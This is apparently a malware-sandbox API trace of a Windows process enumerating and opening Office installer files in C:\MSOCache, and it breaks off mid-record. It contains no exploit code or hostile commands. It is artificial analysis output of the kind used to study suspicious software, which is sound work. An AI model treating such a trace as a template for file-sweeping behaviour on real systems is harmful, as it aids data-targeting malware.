[0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0042.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.391] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0042.391] GetLastError () returned 0x12 [0042.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0042.391] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0042.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0042.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0042.391] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0042.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.391] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.403] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0042.403] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0042.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dbe90 [0042.403] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dbe90, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9dbe90, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0042.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dbe90) returned 1 [0042.403] NtClose (Handle=0x15c) returned 0x0 [0042.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0042.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0042.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0042.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0042.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0042.403] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0045.246] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.246] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9be8 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dbc90 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9c08 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dbea8 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9c28 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dbfb0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9c48 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dc0b8 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9c68 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dc1c0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.248] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0045.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9c88 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dc2c8 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9ca8 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dc3d0 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x9d63e8 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5470) returned 1 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9cc8 [0045.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dc4d8 [0045.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0045.250] GetLastError () returned 0x12 [0045.250] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0045.250] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.250] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, 